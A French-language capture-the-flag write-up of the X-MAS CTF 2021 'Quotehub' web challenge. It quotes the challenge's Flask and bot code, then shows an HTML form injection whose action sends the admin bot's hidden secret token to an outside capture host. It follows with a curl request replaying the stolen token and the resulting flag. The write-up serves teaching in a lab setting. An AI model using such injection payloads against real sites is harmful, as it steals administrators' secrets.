Voici mon writeup du challenge Quotehub du X-MAS CTF 2021.
- Url du challenge: http://challs.xmas.htsp.ro:3007/
- Code source: Source code
Premier aperçu
On peut voir une page avec des citations, on peut publier des citations donc regardons ça plus en profondeur.
On peut soumettre une citation avec notre nom mais on ne peut pas voir le résultat.
Aperçu du code
On nous donne un Dockerfile, un dossier bot et un dossier files.
Dans le dossier bot on peut voir un code de bot en Python, donc c’est un challenge web-client.
Si on jette un oeil au code source on peut voir qu’il y a 3 pages accessibles sur le challenge:
- /
- /submit
- /quote/latest
@app.route ('/', methods = ['GET'])
def index():
return render_template ("index.html", quotes=quotes)
@app.route ('/submit', methods = ['GET', 'POST'])
def submit():
if request.method == 'GET':
return render_template ("submit.html")
quote = request.form.get('quote')
author = request.form.get('author')
if not isinstance(quote, str) or not isinstance(author, str) or len(quote) > 256 or len(quote) < 8 or len(author) > 32 or len(author) < 4:
return 'NOPE'
quote_obj = {
'text': quote,
'author': author
}
pending_quotes.append(quote_obj)
return render_template ("submit.html", message=f"Quote submitted successfully.")
@app.route ('/quote/latest', methods = ['GET', 'POST'])
def quote():
global pending_quotes
if request.method == 'GET':
if request.cookies.get('admin_cookie', False) != ADMIN_COOKIE or len(pending_quotes) == 0:
return 'NOPE'
q = pending_quotes[0]
pending_quotes = pending_quotes[1:]
print("Admin viewing quote: ", q)
return render_template ("quote_review.html", quote=q, SECRET_TOKEN=SECRET_TOKEN)
action = request.form.get('action')
secret = request.form.get('secret')
if not isinstance(action, str) or action not in ['APPROVE', 'REJECT'] or secret != SECRET_TOKEN:
return 'NOPE'
if action == "REJECT":
return redirect("/list", code=302)
return "You did it! Here's your reward: " + FLAG
Le path /quote/latest nous est pas autorisé et retourne un NOPE parce qu’on n’a pas le cookie admin. Si on regarde bien, on peut voir que le flag est affiché si notre citation est APPROVE par quelqu’un qui a le SECRET_TOKEN donc notre but va être de voler ce token.
Exploit
Dans le code du bot on peut voir qu’il clique sur le premier bouton avec une classe “red”
while True:
try:
# print("get /quote/latest", flush=True)
driver.get('http://127.0.0.1:2000/quote/latest')
# print("reject button - press", flush=True)
rejectBtn = WebDriverWait(driver, 5).until(
EC.presence_of_element_located((By.CLASS_NAME, "red"))
)
rejectBtn.click()
# print("sleep 3", flush=True)
time.sleep(3)
except:
pass
On peut exploiter un clickjacking en créant un faux bouton et un faux form pour récupérer les paramètres car le SECRET_TOKEN y est par défaut.
<form method="POST">
<input type="hidden" name="secret" value="{{SECRET_TOKEN}}">
<input class="btn green" type="submit" name="action" value="APPROVE">
<input class="btn red" type="submit" name="action" value="REJECT">
</form>
Notre payload sera:
<form method="POST" action="https://challenge.free.beeceptor.com"><input class="red" type="submit" name="action" value="APPROVE">
Yeah ! On a notre secret token: 4cb386b57ea526f9d72aa2fd76f97e143f1e51174b66cfe92ef0fbb5f4a20be71cf9f1463369305278aa4502fe34461c8a0e575d4c31aa31386177a68919e65a
Pour finir on a juste à faire une requête POST sur /quote/latest
avec les paramètres action et secret comme l’admin le fait.
curl -X POST -d "action=APPROVE" -d "secret=4cb386b57ea526f9d72aa2fd76f97e143f1e51174b66cfe92ef0fbb5f4a20be71cf9f1463369305278aa4502fe34461c8a0e575d4c31aa31386177a68919e65a" http://challs.xmas.htsp.ro:3007/quote/latest
Voici notre flag: X-MAS{got_teh_secret-f8ba357874717b6142e8219b}